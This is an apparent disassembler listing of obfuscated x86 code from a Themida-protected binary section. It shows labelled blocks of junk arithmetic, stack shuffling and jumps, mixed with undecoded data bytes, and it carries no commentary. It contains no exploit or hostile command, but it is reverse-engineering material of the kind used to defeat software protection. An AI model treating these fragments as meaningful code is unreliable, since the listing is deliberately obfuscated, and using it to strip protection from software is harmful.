loc_567FC2:				; CODE XREF: Themida_:00567419j
		neg	edi
		add	edi, 21A7CA9h
		jmp	loc_560268
; ---------------------------------------------------------------------------


loc_567FCF:				; CODE XREF: Themida_:00561B4Cj
		neg	ch
		neg	ch
		jmp	loc_5583A0
; ---------------------------------------------------------------------------


loc_567FD8:				; CODE XREF: Themida_:00558CEDj
		sub	ebx, 7036676Dh
		sub	ebx, 738F00ABh
		sub	ebx, 58EB1FDEh
		jmp	loc_5651E4
; ---------------------------------------------------------------------------


loc_567FEF:				; CODE XREF: Themida_:00569798j
		sub	bl, 0E9h
		add	bl, al
		jmp	loc_55A083
; ---------------------------------------------------------------------------


loc_567FF9:				; CODE XREF: Themida_:0055DF98j
		add	ebx, 5D7C30CAh
		sub	ebx, edx
		sub	ebx, 5D7C30CAh
		jmp	loc_55635B
; ---------------------------------------------------------------------------
		dd 316FC581h, 0F581326Ch, 613FACAh, 0E95DEF09h,	0FFFFCB69h
		dd 56240C89h, 74074E68h, 0D6F75E67h, 0A4E9D6F7h, 0B3FFFFAFh
		dd 0E952664Bh, 0FFFF6ECFh, 1068ED81h, 0D5E910C0h, 89FFFFDEh
		dd 8D68242Ch, 89000015h, 0CDE92424h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568057:				; CODE XREF: Themida_:00562328j
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_557C67
; ---------------------------------------------------------------------------
		db 1, 6Ch, 24h
		dd 348B5D04h, 4C48124h,	50000000h, 6529AFB8h, 5BBF5724h
		dd 81099679h, 314FB0EFh, 5FF831E5h, 48BC601h, 4C48124h
		dd 50000000h, 0FFE1B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568095:				; CODE XREF: Themida_:0055F498j
		pop	ebp
		jmp	loc_55E51B
; ---------------------------------------------------------------------------


loc_56809B:				; CODE XREF: Themida_:005561E8j
		mov	esp, [esp]
		add	esi, 738259FCh
		push	eax
		mov	eax, 6232761Fh
		xchg	eax, ecx
		neg	ecx
		xchg	eax, ecx
		add	eax, 0B0E098DAh
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 3
		jmp	loc_564CA2
; ---------------------------------------------------------------------------


loc_5680C6:				; CODE XREF: Themida_:00558D7Cj
		sub	dl, bh
		jmp	loc_563ABC
; ---------------------------------------------------------------------------


loc_5680CD:				; CODE XREF: Themida_:0055CC62j
		mov	[esp], edi
		push	ecx
		jmp	loc_56ACA8
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0CAB6E924h, 0F329FFFFh, 0FF1F3AE9h, 4F2568FFh, 4890000h
		dd 0EDEFE924h, 815EFFFFh, 163F2AC1h, 0D8BE56EEh, 1365122h
		dd 56E95EF0h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568107:				; CODE XREF: Themida_:00556623j
		xor	edx, 0A47B5A70h
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		push	42D1004Eh
		jmp	loc_555E76
; ---------------------------------------------------------------------------
		db 51h,	56h, 0BEh
		dd 14D254FFh, 0D25501B9h, 0A8C18114h, 2911AC58h, 0A8E981F1h
		dd 8B11AC58h, 0C4812434h, 4, 0F79E950h,	3C8BFFFFh, 4C48324h
		dd 8904EC83h, 18E92434h
		db 0DCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56815B:				; CODE XREF: Themida_:0056AE0Cj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_558F5F
; ---------------------------------------------------------------------------
		dd 0E172F181h, 0B951F62Dh, 34200AA4h, 0FFE9CB01h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568177:				; CODE XREF: Themida_:00563A20j
		pop	ecx
		or	eax, eax
		jz	loc_5624E7
		push	dword ptr [edi+28h]
		push	6B27h
		jmp	loc_55C593
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 1
		dd 57000000h, 0BFh, 7848E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56819E:				; CODE XREF: Themida_:00569A46j
		pop	ecx
		push	eax
		pop	esi
		jmp	loc_557F8B
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 4C6815Ah, 87000000h,	92E92434h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5681B7:				; CODE XREF: Themida_:00558CB3j
		xor	ecx, 80C6A927h
		mov	eax, ecx
		jmp	loc_568D2E
; ---------------------------------------------------------------------------


loc_5681C4:				; CODE XREF: Themida_:005648D8j
		mov	edi, 638C4029h
		sub	esi, edi
		jmp	loc_5656C3
; ---------------------------------------------------------------------------
		dd 24048B66h, 68E28952h, 618Dh,	0E9243C89h, 0FFFFD94Bh
		dd 0B8505A54h, 4, 0E958C201h, 0FFFFC4D2h, 89243C89h, 4C781E7h
		dd 0E9000000h, 1468h
; ---------------------------------------------------------------------------


loc_568204:				; CODE XREF: Themida_:00557786j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	esi
		sub	esp, 4
		jmp	loc_557705
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 61680000h, 8900004Ch, 4B9240Ch, 0E9000000h
		dd 0FFFF6C69h
; ---------------------------------------------------------------------------


loc_568248:				; CODE XREF: Themida_:005648DFj
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_568264:				; CODE XREF: Themida_:00556EA7j
		and	ebx, 5FD380Dh
		sub	esp, 4
		jmp	loc_559A18
; ---------------------------------------------------------------------------
aWicrqB0s	db 'W‰çRQ¹[)B0éÛ$',0
		align 4
		dd 81243C8Bh, 4C4h, 93D0500h, 0D8014C20h, 0FF6E41E9h, 1FE954FFh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56829F:				; CODE XREF: Themida_:0055C265j
		mov	edi, 37D4748Eh
		push	ecx
		push	6376h
		mov	[esp], edx
		push	eax
		mov	eax, 23C022C0h
		mov	edx, 343A6BD5h
		sub	edx, eax
		pop	eax
		add	edx, 0F11CE0C4h
		push	esi
		jmp	loc_55CE52
; ---------------------------------------------------------------------------
		db 8Fh
		dd 665C2404h, 9C240CD3h, 0FED9EFE9h, 4C483FFh, 3077E995h
		dd 1489FFFFh, 4277BA24h, 543111F6h, 32E90424h, 1FFFF78h
		dd 0F090E9FAh, 0F328FFFEh, 0E9FBC380h, 0FFFF47D4h
; ---------------------------------------------------------------------------


loc_568300:				; CODE XREF: Themida_:00562F85j
		xchg	esi, [esp]
		jmp	loc_55CCF8
; ---------------------------------------------------------------------------
		dd 71E1E95Ah, 8966FFFFh, 50662414h, 0D9AAE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56831A:				; CODE XREF: Themida_:005605A8j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3E9B1C64h
		mov	esi, 0C164E3A0h
		jmp	loc_5612DD
; ---------------------------------------------------------------------------


loc_568332:				; CODE XREF: Themida_:0055D83Fj
		sub	eax, ecx
		pop	ecx
		add	eax, 486F538Eh
		push	ecx
		mov	ecx, 3CDB3154h
		xor	ecx, 7D4470B1h
		jmp	loc_56400D
; ---------------------------------------------------------------------------


loc_56834B:				; CODE XREF: Themida_:0055C841j
		xor	ebx, [esp]
		xor	[esp], ebx
		xchg	esi, ebx
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		jmp	loc_55B07E
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83242C89h, 1C8904ECh, 2BB24h, 5EE90000h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568377:				; CODE XREF: Themida_:0055EBE8j
		pop	ebp
		jmp	loc_559CDC
; ---------------------------------------------------------------------------


loc_56837D:				; CODE XREF: Themida_:0055C626j
		xor	dl, 0A6h
		jmp	loc_556C42
; ---------------------------------------------------------------------------


loc_568385:				; CODE XREF: Themida_:00566C99j
		add	eax, edx
		pop	edx
		sub	[esp+8], eax
		pop	eax
		jmp	loc_55BB91
; ---------------------------------------------------------------------------
		dw 0D931h
		dd 59CF095Bh, 67BB534Fh, 81702C34h, 860BD4CBh, 0F3814368h
		dd 26362DCAh, 0FEDED5E9h, 0BEB353FFh, 0FF6E09E9h, 2414F7FFh
		dd 2EB3E9h, 0EE295B00h,	0E92434FFh, 0FFFF1061h,	4BEh, 0E9F20100h
		dd 2E1Bh
; ---------------------------------------------------------------------------


loc_5683D8:				; CODE XREF: Themida_:00566D66j
		mov	ecx, 342D3778h
		mov	ebp, ecx
		pop	ecx
		shl	ebp, 2
		shr	ebp, 3
		shl	ebp, 5
		sub	esp, 4
		mov	[esp], ebp
		sub	dword ptr [esp], 1
		pop	ebp
		push	edi
		mov	edi, 51916E34h
		add	ebp, 38E53917h
		add	ebp, edi
		sub	ebp, 38E53917h
		pop	edi
		push	44A8h
		mov	[esp], esi
		mov	esi, 0E69A1AE0h
		jmp	loc_568B54
; ---------------------------------------------------------------------------


loc_56841E:				; CODE XREF: Themida_:005588FBj
		neg	dx
		and	dx, 6F49h
		or	dx, 2647h
		push	bx
		mov	bx, 6C90h
		jmp	loc_5639DB
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 2BB9C381h, 0F301646Dh, 0FFBDE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568449:				; CODE XREF: Themida_:005569CEj
		mov	[esp], edx
		jmp	loc_558B89
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 41h
		dd 0F776357Dh, 0EDC781DFh, 8150C70Fh, 42A517F7h, 0E9FB89C0h
		dd 0FFFEDB16h, 0D7AE951h, 0C0830000h, 670BE904h, 0C581FFFFh
		dd 4, 0FF5DFAE9h, 6E6C1FFh, 8EEC146h, 590CBD55h, 0EE315348h
		dd 5EF2295Dh, 7E968h, 3CD5E900h, 148BFFFFh, 4C48124h, 0E9000000h
		dd 0FFFFCABEh, 0CBFE5966h, 0D886D3F6h, 0E0C0C0FEh, 0E9760406h
		dd 27B8h
; ---------------------------------------------------------------------------


loc_5684C4:				; CODE XREF: Themida_:00565FC8j
		push	eax
		mov	eax, 391C089Eh
		xor	esi, eax
		jmp	loc_55F30E
; ---------------------------------------------------------------------------


loc_5684D1:				; CODE XREF: Themida_:005576A7j
		mov	edx, 46CD72C7h
		or	edx, 59DB74EFh
		shl	edx, 8
		jmp	loc_55F1A9
; ---------------------------------------------------------------------------


loc_5684E4:				; CODE XREF: Themida_:00559ED0j
		mov	eax, ebp
		mov	esi, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5671C7
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0DFh
		dd 81424A7Ah, 4ECh, 243C8900h, 5D5433BFh, 7DEB8116h, 0E9260D24h
		dd 0FFFF4B58h, 24048B66h, 535768h, 24348900h, 0FFC021E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568521:				; CODE XREF: Themida_:00563630j
		mov	eax, 1A374B62h
		sub	dword ptr [esp+8], 1A68489Bh
		sub	[esp+8], eax
		add	dword ptr [esp+8], 1A68489Bh
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5613B4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 9FE90000h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568553:				; CODE XREF: Themida_:0055DAB3j
		push	esi
		mov	esi, 99DC6FC0h
		jmp	loc_558F4A
; ---------------------------------------------------------------------------
		dw 9068h
		dd 8900005Fh, 71E9240Ch, 2CFFFEF3h, 52D828D1h, 0FEFA81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568575:				; CODE XREF: Themida_:005687FEj
		push	ecx
		mov	ecx, 175E5CFFh
		sub	ecx, 0C7382D4Fh
		shr	ecx, 2
		xor	ecx, 14098BC8h
		add	ecx, 3A727465h
		add	ecx, edi
		sub	ecx, 3A727465h
		jmp	loc_559EEB
; ---------------------------------------------------------------------------


loc_56859D:				; CODE XREF: Themida_:00556B35j
		add	esp, 4
		add	esi, 9B5226Ch
		add	esi, ebp
		sub	esi, 9B5226Ch
		mov	ebp, [esp]
		jmp	loc_563416
; ---------------------------------------------------------------------------


loc_5685B9:				; CODE XREF: Themida_:00559635j
		sub	ecx, 66681C47h
		pop	esi
		push	edx
		mov	dl, al
		push	ebx
		jmp	loc_55A3B0
; ---------------------------------------------------------------------------
		db 0B8h, 0FDh, 22h
		dd 0C6015814h, 8124048Bh, 4C4h,	53BEE900h, 0EBC1FFFFh
		dd 25C38102h, 811D8605h, 4BD05BC3h, 0D055E91Eh,	0E950FFFFh
		dd 0FFFFD145h, 42474FFh, 0E92434FFh, 0FFFF2718h, 4BA5259h
		dd 1000000h, 0E9555AD1h, 0FFFF2DFFh, 36A3C581h,	0CE90F21h
		dd 0FFFFFFADh, 0C8B2434h, 4EC8324h, 68240489h, 5CDEh, 24048F54h
		dd 4240483h, 4BF5758h, 2D000000h, 455A1C79h, 0B951F801h
		dd 455A1C79h, 0E959C801h, 0FFFEE1F8h, 4EC81h, 14890000h
		dd 1C03BA24h, 0E9504EE7h, 0FFFF0CA9h, 0C381C301h, 112252E2h
		dd 0FFA09FE9h, 4EC81FFh, 89000000h, 68552434h, 186798Ch
		dd 97ED815Dh, 535E475Ch, 59358EBBh, 5BDD2104h, 0F581D5F7h
		dd 0FFE6EB79h, 2C8BEE89h, 0DA8EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5686A6:				; CODE XREF: Themida_:0055B995j
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_567242
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 0EC839304h, 240C8904h, 6CE98AB5h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5686C3:				; CODE XREF: Themida_:005610B8j
		xchg	ebp, [esp]
		jmp	loc_557738
; ---------------------------------------------------------------------------
		db 0FFh
		dd 515D2404h, 0E370A9B9h, 3BE94157h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5686DB:				; CODE XREF: Themida_:005667EDj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 80h
		push	ebp
		mov	ebp, ecx
		push	ebp
		jmp	loc_556CCC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 0FF70F5E9h, 5BDA21FFh, 4EC81h, 0E1E90000h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56870B:				; CODE XREF: Themida_:0055A714j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	613h
		mov	[esp], edx
		jmp	loc_5645A9
; ---------------------------------------------------------------------------
		dw 3168h
		dd 89000027h, 0E9572404h, 1FBCh, 0FE12C480h, 7E4C0C4h
		dd 0F480C4FEh, 0F845E93Ch, 1C8BFFFFh, 0E2895224h, 4C281h
		dd 63E90000h, 1000017h,	1E27E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568756:				; CODE XREF: Themida_:00558D07j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 669749D0h
		add	edx, 1D941E76h
		add	edx, ebx
		push	ebp
		push	ecx
		mov	ecx, 39707719h
		add	ecx, 69D174Ch
		sub	ecx, 0E3306F9Bh
		mov	ebp, ecx
		pop	ecx
		xchg	esi, ebp
		dec	esi
		xchg	esi, ebp
		jmp	loc_55DB00
; ---------------------------------------------------------------------------


loc_56878D:				; CODE XREF: Themida_:0055E973j
		mov	[esp], eax
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_55644A
; ---------------------------------------------------------------------------


loc_5687A2:				; CODE XREF: Themida_:0055677Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 62E25D23h
		add	edi, 1
		jmp	loc_562457
; ---------------------------------------------------------------------------
		dw 542Ch
		dd 0D0280004h, 5404002Ch, 0E924148Bh, 0FFFF6E45h, 0C281E289h
		dd 4, 0E904C283h, 0FFFF4C65h
; ---------------------------------------------------------------------------


loc_5687E0:				; CODE XREF: Themida_:00565AACj
		add	ecx, 55986A72h
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		add	[ebx], eax
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_559491
; ---------------------------------------------------------------------------


loc_5687FD:				; CODE XREF: Themida_:00562BC8j
		pop	ecx
		jmp	loc_568575
; ---------------------------------------------------------------------------
		db 52h
		dd 73E901B6h, 5DFFFFF5h, 4C581h, 42E90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568817:				; CODE XREF: Themida_:005583B7j
		xor	dh, 91h
		add	ch, dh
		jmp	loc_5578EA
; ---------------------------------------------------------------------------


loc_568821:				; CODE XREF: Themida_:00567A28j
		push	ebx
		jmp	loc_558D70
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0DF66E904h, 489FFFEh, 4EC8324h, 0E9242489h
		dd 0FFFF0F42h, 5CDCB951h, 0CD2927E2h, 3E5C159h,	0B7FDE956h
		dd 0F581FFFFh, 55062894h, 70AAE581h, 0C14D3ED7h, 0EDC104EDh
		dd 9FED8103h, 89005D2Ch, 883E9E8h, 8AB4FFFFh, 0C092F480h
		dd 0C48008E4h, 80D4F692h, 0E128B4C4h, 8BCB0058h, 0C483240Ch
		dd 52C30004h, 0FFC661E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568895:				; CODE XREF: Themida_:0055CB9Cj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		mov	ch, 5Eh
		sub	al, 8
		add	al, ch
		add	al, 8
		jmp	loc_5593F2
; ---------------------------------------------------------------------------
		dw 489h
aSp_0		db '$ép',7,0
		align 2


loc_5688BA:				; CODE XREF: Themida_:00557676j
		or	edx, 444901D1h
		add	edx, 4958BB19h
		sub	edi, edx
		pop	edx
		jmp	loc_56ACE7
; ---------------------------------------------------------------------------


loc_5688CE:				; CODE XREF: Themida_:0055670Ej
		push	eax
		mov	eax, 70C91C34h
		not	eax
		xor	eax, 286E2CECh
		shr	eax, 7
		push	edx
		jmp	loc_568E58
; ---------------------------------------------------------------------------


loc_5688E4:				; CODE XREF: Themida_:00563CF3j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55B7F3
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF5646E9h, 4C481FFh, 5000000h, 2E0845E8h, 13E9C829h
		dd 89FFFF83h, 8B54243Ch, 0A3E9243Ch, 8BFFFF27h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		sub	ebp, 3D883DB1h
		jmp	loc_5566B4
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 30F04690h, 3EC8C381h, 83E9029Ah, 52FFFF6Ch, 6F0E85BAh
		dd 8142425Ah, 90F17DC2h, 5AD629A5h, 5C243487h, 0FF243C89h
		dd 0E9042474h, 0FFFF4E8Dh, 4C6815Eh, 57000000h,	4BFh, 0E22CE900h
		dd 8B66FFFEh, 0DB68240Ch, 89000017h, 0E6892434h, 4C681h
		dd 83550000h, 348904ECh, 5C1DBE24h, 0F6814C36h,	64CA21B9h
		dd 308BEE81h, 0BD550B53h, 328C5119h, 7090F581h,	0EE316E94h
		dd 5A8FE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5689BE:				; CODE XREF: Themida_:0055D52Bj
		xchg	ebp, [esp]
		pop	edi
		push	ebp
		mov	ebp, 6E145A11h
		dec	ebp
		not	ebp
		jmp	loc_56132B
; ---------------------------------------------------------------------------


loc_5689D0:				; CODE XREF: Themida_:0055CCFAj
		xchg	esi, [esp]
		jmp	loc_561733
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0ACB68h
		dd 1275E900h, 89BDFFFFh, 8164014Ah, 7B77D9EDh, 83D5F739h
		dd 0E581FFEDh, 6DC73BC1h, 0B33CC581h, 0EB293AB0h, 0FED9C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568A19:				; CODE XREF: Themida_:0055A01Aj
		add	dword ptr [esp], 45536220h
		jmp	loc_562F8A
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 1348FC7h, 0BD555D7Fh, 420F5206h, 54C1F581h, 0CE938E8h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A3F:				; CODE XREF: Themida_:0056392Bj
		add	esp, 4
		sub	edx, 631E5E9Eh
		add	edx, 20601ABAh
		add	edx, eax
		sub	edx, 20601ABAh
		add	edx, 631E5E9Eh
		sub	esp, 4
		mov	[esp], ecx
		push	669749D0h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	edx, 596022B2h
		sub	edx, ecx
		push	1324h
		mov	[esp], eax
		mov	eax, 596022B2h
		add	edx, eax
		jmp	loc_561FBA
; ---------------------------------------------------------------------------


loc_568A98:				; CODE XREF: Themida_:0055F7C8j
		xchg	eax, esi
		push	7A48h
		mov	[esp], esi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	esi
		jmp	loc_5614E1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572414h, 4C781E7h,	0E9000000h, 0FFFF0AA6h
; ---------------------------------------------------------------------------


loc_568AC0:				; CODE XREF: Themida_:0055B94Bj
		mov	[esp], eax
		jmp	loc_55F2BB
; ---------------------------------------------------------------------------
		dd 5004C483h, 0CA3817B8h, 58C3290Bh, 7CDFC381h,	0EB29689Ah
		dd 7CDFEB81h, 0C381689Ah, 0BCA3817h, 0FF5667E9h, 5FFB29FFh
		dd 38DAC381h, 0E0E9445Dh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568AFB:				; CODE XREF: Themida_:0056ADAEj
		add	esi, ebp
		add	esi, 18F13A82h
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_569F63
; ---------------------------------------------------------------------------


loc_568B0C:				; CODE XREF: Themida_:0055AF19j
		pop	esi
		jmp	loc_5570DB
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 1F3C3C67h, 745FB850h, 5C2D6188h, 0E917874Eh,	0FFFF41F5h
		dd 0F703E9C1h, 0BBE181D9h, 83217957h, 0D1E904ECh, 81FFFFC6h
		dd 0A38BFEEFh, 5FFA091Ah, 0A8FBD55h, 0EA292A1Ah, 0E9242C8Bh
		dd 0FFFF8E95h
; ---------------------------------------------------------------------------


loc_568B54:				; CODE XREF: Themida_:00568419j
		add	ebp, esi
		jmp	loc_55A7CA
; ---------------------------------------------------------------------------


loc_568B5B:				; CODE XREF: Themida_:005606B1j
		mov	eax, edx
		pop	edx
		pop	ebx
		sub	dword ptr [esp+8], 4B8721B9h
		jmp	loc_55BF6C
; ---------------------------------------------------------------------------
		dd offset dword_5A5568
		dd 241C8900h, 0FF54D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568B79:				; CODE XREF: Themida_:00558D39j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_55FDE5
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C6h
		dd 0E9A3DFAh, 0EE81D629h, 0E9A3DFAh, 0FFBCCCE9h, 0D9CABBFFh
		dd 0B9512453h, 14D655D1h, 5AC9E181h, 0FFE9370Eh
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_568BD7:				; CODE XREF: Themida_:005578FFj
		pop	esp
		jmp	loc_5624D5
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 0D868240Ch, 89000025h, 8B54243Ch, 0C483243Ch, 1DDE6804h
		dd 1C890000h, 0EA0BB24h, 63685A0Eh, 89000075h, 80E9240Ch
		dd 0C0FFFFC8h, 0EA8007EAh, 369B689Ch, 4890000h,	0A6E9E924h
		dd 0C381FFFFh, 4, 4EC81h, 3C890000h, 98E95624h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568C33:				; CODE XREF: Themida_:0056012Fj
		shl	esi, 7
		xor	esi, 36B9FDDAh
		jmp	loc_55860D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0F6C2B151h, 310CE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568C4E:				; CODE XREF: Themida_:0056AEEEj
		shr	ebx, 6
		push	eax
		mov	eax, 0FCDBDE0Eh
		push	edx
		mov	edx, 40BD5B77h
		jmp	loc_55E8C3
; ---------------------------------------------------------------------------
		dw 595Eh
		dd 0A09BD55h, 0CD873E5Ch, 93E9D1F7h, 68FFFFD1h,	6E52h
		dd 0B9240C89h, 4, 0FF40CAE9h, 0BE5653FFh, 2FFD296Dh, 0E60505BBh
		dd 0E9F33101h, 1C89h, 3504E8C1h, 7085B23h, 5358C601h, 0FEE98BE9h
		dd 4C481FFh, 1000000h, 240C8BC8h, 81E38953h, 4C3h, 4C38300h
		dd 5C241C87h, 1F36E951h, 97BB0000h, 8161A851h, 1952D1C3h
		dd 7E3C10Ah, 0FFF901E9h, 24148BFFh, 4C481h, 0C3810000h
		dd 0EBD38A7h, 7173B850h, 574030A7h, 352BAEBFh, 85CFE90Bh
		dd 0B8B0FFFFh, 0D8F6C8FEh, 0C2286904h, 39C66858h, 60E90000h
		dd 89FFFF73h, 115668E6h, 8BE90000h, 0F7000014h,	815D2414h
		dd 785E0BF5h, 0B146E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568D2E:				; CODE XREF: Themida_:005681BFj
		pop	ecx
		and	eax, 2D477B08h
		dec	eax
		add	eax, 50DFEC2Ch
		mov	edi, eax
		pop	eax
		shr	edi, 8
		shl	edi, 7
		sub	edi, 1
		shr	edi, 4
		add	edi, 53AD5C97h
		sub	ebp, 74DC244Fh
		sub	ebp, edi
		add	ebp, 74DC244Fh
		jmp	loc_566C3F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 0FFE513E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568D6D:				; CODE XREF: Themida_:005661ABj
		push	4BF3h
		mov	[esp], ecx
		mov	ecx, 27977743h
		mov	esi, 27977747h
		add	esi, 5108464Dh
		sub	esi, ecx
		sub	esi, 5108464Dh
		pop	ecx
		jmp	loc_569C90
; ---------------------------------------------------------------------------


loc_568D93:				; CODE XREF: Themida_:00558207j
		mov	[esp], ecx
		jmp	loc_56618C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 0E9000000h, 0FFFEFD4Ah, 24148966h,	0E99C5066h
		dd 0FFFECF10h, 2EC83ACh, 24148966h, 0E904EC83h,	14Dh, 0E9240489h
		dd 0FFFFC3ABh, 0FD9AE958h, 0C104FFFFh, 8051B151h, 0B4E9EFC1h
		dd 8FFFFF73h, 895C2404h, 0FB9240Ch, 56179861h, 5A56CE89h
		dd 8324348Bh, 685904C4h, 2BF6h,	0E9240C89h, 2121h, 0D9E9028Fh
		dd 66FFFFC5h, 5224048Bh, 36268h, 24248900h, 4B951h, 4C010000h
		dd 8B590424h, 89572414h, 699FE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568E2E:				; CODE XREF: Themida_:00567862j
		mov	esp, [esp]
		jmp	loc_55FF13
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8957240Ch, 0E68956E7h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 0E9241C89h, 0FFFF0A5Bh
; ---------------------------------------------------------------------------


loc_568E58:				; CODE XREF: Themida_:005688DFj
		push	ebx
		mov	ebx, 267E0815h
		mov	edx, 3B80F738h
		xor	edx, ebx
		pop	ebx
		sub	eax, 68453A8Eh
		sub	eax, edx
		add	eax, 68453A8Eh
		mov	edx, [esp]
		jmp	loc_55968C
; ---------------------------------------------------------------------------


loc_568E7A:				; CODE XREF: Themida_:00557BC9j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5648BB
; ---------------------------------------------------------------------------


loc_568EA3:				; CODE XREF: Themida_:0055FE22j
		mov	[esp], esi
		jmp	loc_559DEE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 40E92434h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EB3:				; CODE XREF: Themida_:00556934j
		push	ebp
		mov	ebp, 36EA7BC6h
		neg	ebp
		jmp	loc_56ACF1
; ---------------------------------------------------------------------------
		dd 8246C29h, 246C815Dh,	0E76DE604h, 156FE913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568ED2:				; CODE XREF: Themida_:0055DAC9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_55E956
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 81000000h,	4EEh, 0C006E900h
